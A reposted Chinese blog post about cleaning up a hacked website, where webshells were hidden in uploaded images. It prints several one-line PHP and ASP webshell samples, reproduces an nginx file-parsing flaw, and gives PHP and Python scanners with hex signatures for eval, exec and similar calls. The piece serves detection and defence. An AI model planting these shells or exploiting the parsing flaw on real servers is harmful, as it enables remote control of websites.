python为什么叫爬虫_检测安全

python为什么叫爬虫_检测安全前言周一一早网管收到来自阿里云的一堆警告,发现我们维护的一个网站下有数十个被挂马的文件。网管直接关了vsftpd,然后把警告导出邮件给我们。取出部分大致如下:服务器IP/名称木马文件路径更新时间木马类型状态(全部)*.*.*.*/path/*144.gif2017/8/75:53Webshell待处理*.*.*.*/path/*…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

前言

周一一早网管收到来自阿里云的一堆警告,发现我们维护的一个网站下有数十个被挂马的文件。网管直接关了vsftpd,然后把警告导出邮件给我们。

取出部分大致如下:

服务器IP/名称 木马文件路径 更新时间 木马类型 状态(全部)
*.*.*.* /path/*144.gif 2017/8/7 5:53 Webshell 待处理
*.*.*.* /path/*132.jpg 2017/8/7 5:23 Webshell 待处理
*.*.*.* /path/*156.txt 2017/8/7 5:22 Webshell 待处理
*.*.*.* /path/*0304.jpg 2017/8/7 5:22 木马文件 待处理

分析

检查vsftpd后发现之前已经配置了只允许我们公司的ip访问的限制。
分析路径后发现,触发警报的文件均为同一路径下。
经过分析代码得出结论,只有通过管理端的上传图片功能或者使用管理端编辑器的图像上传功能才能将图片放入此文件夹内。
而触发木马警报的文件中有90%是交接前的文件(我们在交接时只验证了代码功能而忽视了图片安全性,失策)。

检查

path文件夹下,git内(交接之日收到的文件)的待检查加上FTP上(交接之日之后维护上传的文件)一共有1320个,分散在数个层级不等的文件夹内。
使用Notepad++检查警告中显示的图片文件后发现,木马类型为Webshell木马文件的图片或文件内含有恶意代码例如:

<%execute(request("a"))%>
<?php eval($_POST['a']);?>
<?fputs(fopen("TNT.PHP","w"),"<?eval(\$_POST[TNT]);?>")?>
<% @Page Language="Jscript"%>
<%eval(Request.Item["TNT"],"unsafe");%>

使用Notepad++的十六进制模式(需安装插件HEX-Editor)查看
malicious-img

验证

经查询nginx有过由于配置错误导致的文件上传漏洞,详情见Nginx文件类型错误解析漏洞
正好我的虚拟机上有nginx立刻来试一下。

虚拟机配置 版本
nginx 1.10.1
php 7.2.0-dev
  1. 首先用画图随便造个图片
  2. 使用Notepad++ Hex-Editor<?php phpinfo(); ?>插入任意角落。
    python为什么叫爬虫_检测安全
  3. 将此图片传入虚拟机中
  4. 在虚拟机中编辑php的php.ini,将;cgi.fix_pathinfo=1打开
  5. 运行nginx,查看效果
    python为什么叫爬虫_检测安全

经过验证可以得出,该nginx的bug是的确存在的。但是根据Nginx文件类型错误解析漏洞一文中描述,将cgi.fix_pathinfo设为0并不能阻止漏洞的发生。
使用扫描读取图片二进制字符的方式,可以预防用户上传该类图片。

过滤

先观察了数个被报警的图片,提取了被挂马图片的共同点,放入Notepad++中

<%a(a)a%>00000
<?a(a)a?>00000
<script0000000
<SCRIPT0000000
script>0000000
SCRIPT>0000000

转成十六进制
python为什么叫爬虫_检测安全
由此可以得出彼此对应的十六进制

< % ( ) % >
3c 25 28 29 25 3e

用php递归跑目录并检测二进制文本,随便选了个小一点的文件夹进行尝试。

function osWalk($path,$dirs=[])
{
    if (false != ($handle = opendir ( $path ))) {
        while ( false !== ($file = readdir ( $handle )) ) {
            if ($file != "." && $file != "..") {
                if(is_file($path.'\\'.$file))
                    $dirs[]=$path.'\\'.$file;
                else
                    $dirs=osWalk($path.'\\'.$file,$dirs);
            }
        }
        closedir ( $handle );
    }
    return $dirs;
}
function checkHex($img_path)
{
    if (file_exists($img_path)) {
        $resource = fopen($img_path, 'rb');
        $fileSize = filesize($img_path);
        fseek($resource, 0); //把文件指针移到文件的开头
        $hexCode = bin2hex(fread($resource, $fileSize));
        fclose($resource);
        /* 匹配16进制中 <?php ?>|eval|fputs|fwrite */
        if (preg_match("/(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)/is", $hexCode))
            return true;
        else
            return false;
    } else {
        return false;
    }
}
$scan_start=microtime(true);
$qsFiles=osWalk('e:\path_to_image');
$scan_end=microtime(true);
$res=[];
$check_start=microtime(true);
foreach($qsFiles as $qs){
    if (checkHex($qs))
        $res[]=$qs;
}
$check_end=microtime(true);
echo vsprintf('文件总数:%d,中标文件:%d<br>扫码时间:%.2f秒,检测时间:%.2f秒<br>',array(
    count($qsFiles), count($res),
    $scan_end-$scan_start,
    $check_end-$check_start
));
//echo implode('<br>',$res);
#文件总数:1320,中标文件:28
#扫描时间:1.16秒,检测时间:125.50秒

觉得这样查时间有点多,用python也写了一个批量匹配

#!/usr/bin/python  
# -*- coding:utf-8 -*- 
import os,re,time,math;
def check_hex(img_path,p):
    with open(img_path,'rb') as f:
        content=f.read();
        f.close();
    if p.search(content.encode('hex')):
        return True;
    return False;
def main():
    #<?php ?>|eval|fputs|fwrite
    p1=re.compile('(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)');
    scan_start=time.time();
    total_files=0;total_taged=[];
    for parent,dirname,filenames in os.walk(r'E:\path_to_image'):
        for file in filenames:
            img_path=parent+os.path.sep+file;
            total_files+=1;
            if check_hex(img_path,p1):
                total_taged.append(img_path);
    scan_end=time.time();
    
    print u'扫描完成!总用时:%.2f秒。\r\n总共扫描文件数: %d,中标文件数: %d。'%((scan_end-scan_start),total_files,len(total_taged));
    #for tag in total_taged:
    #    print tag;
    print 'END';
if __name__=='__main__':
    main();
    
#扫描完成!总用时:97.24秒。
#总共扫描文件数: 1320,中标文件数: 28。

在相同的匹配条件下python的速度比php快22.4%。

PHP与python相同情况下扫描用时对比

接着又换了一批正则试验了一下,PHP和py匹配出的中标文件数差不多,但是用时py优于PHP。
正则组合1:

<?php ?>|<% %>|eval
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)

语言 中标数 用时(秒)
PHP 956 14.81
python 958 11.58

正则组合2:

<?php ?>|<% %>|eval|exec
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|(65786563)

语言 中标数 用时(秒)
PHP 956 18.40
python 958 13.85

正则组合3:

<?php ?>|<% %>|eval|exec|write|put
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|(65786563)|(7772697465)|(707574)

语言 中标数 用时(秒)
PHP 961 26.74
python 963 17.90

友情赠送

使用python获取字符串的十六进制比较方便,只需

print 'string'.encode('hex'); #737472696e67

这里放一点图片恶意代码,若有需要请随意使用

图片恶意代码 hex
\<\?php \?> 3c3f706870.*\?3f3e
\<\? \?> 3c3f.*\?3f3e
\<\% \%> 3c25.*\?253e
exec 65786563
eval 6576616c
system 73797374656d
passthru 061737374687275
fputs 6670757473
fwrite 667772697465

总结

通过这次突发事件,发现了我们在接手新项目的流程里有很大漏洞,比如不会去检测对方发来的图片有没有什么问题。也幸好有这次的事件提了个醒,举一反三赶紧把手里的项目特别是生产服务器使用nginx的先查了个遍,撸掉一大批中标文件。以后若是新接手项目,一定要检查一下图片有没有问题

备注:本文发布于2017-08-14,我github page的原文地址

转载于:https://www.cnblogs.com/waltersgarden/p/7991825.html

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/187727.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • java 正则表达式详细讲解和全面案例,和根据正则筛选需要内容「建议收藏」

    java 正则表达式详细讲解和全面案例,和根据正则筛选需要内容「建议收藏」java 正则表达式详细讲解和全面案例,和根据正则筛选需要内容

    2022年4月23日
    59
  • 机房收费系统合作版(三)——UI思索

    机房收费系统合作版(三)——UI思索

    2022年1月30日
    42
  • 计算机二级中的9种运算问题:笛卡尔积,自然连接,交,并,选择,投影。。。

    计算机二级中的9种运算问题:笛卡尔积,自然连接,交,并,选择,投影。。。这九种运算分为7种二元运算2种一元运算用文字和例子来分别解释上面几个概念:7种二元运算:1.笛卡儿积:          已知           如果算X1和X2的笛卡尔积                      则:                   首先将属性(或者叫…

    2022年7月11日
    30
  • byte类型数据

    byte类型数据今儿一个小朋友问我一件事情 Java 的 byte 类型的数据范围是从 128 到 127 一直在想为什么不是 128 到 128 呢 首先我们得明白一件事情 那就是运算规则 正数的最高位都是 0 正数的值就是二进制表示的值 nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp 负数的最高位都是 1 负数的值是取反后加一然后加个负号得到得值 nbsp nbsp nbsp nbsp nbsp nbsp

    2025年9月28日
    3
  • Centos7下安装Docker(详细安装教程)[通俗易懂]

    一,Docker简介百科说:Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。看起来有点雾,用过虚拟机的应该对虚拟化技术有点印象,不知道也没关系,就把它当成轻量级的虚拟机吧(虽然一个是完全虚拟化,一个是操作系统层虚拟化),这个解释到位:ht…

    2022年4月10日
    43
  • mybatis oracle分页查询sql语句(oracle查询分页)

    java实现mysql分页查询1.前言1.mysql中分页用limit,但是limit后面不能跟表达式,错误表达式:limit(1-1)*10,10。2.对象中提供分页数据的方法。备注:limita,b表示从第a+1条开始取,本次一共取b条如limit0,10:取第1-10条数据,如limit25,8:去第26-33条数据。application.properties数据库Mysql配置#数据库配置spring.datasource.url=jdbc:mysql://loc

    2022年4月15日
    255

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号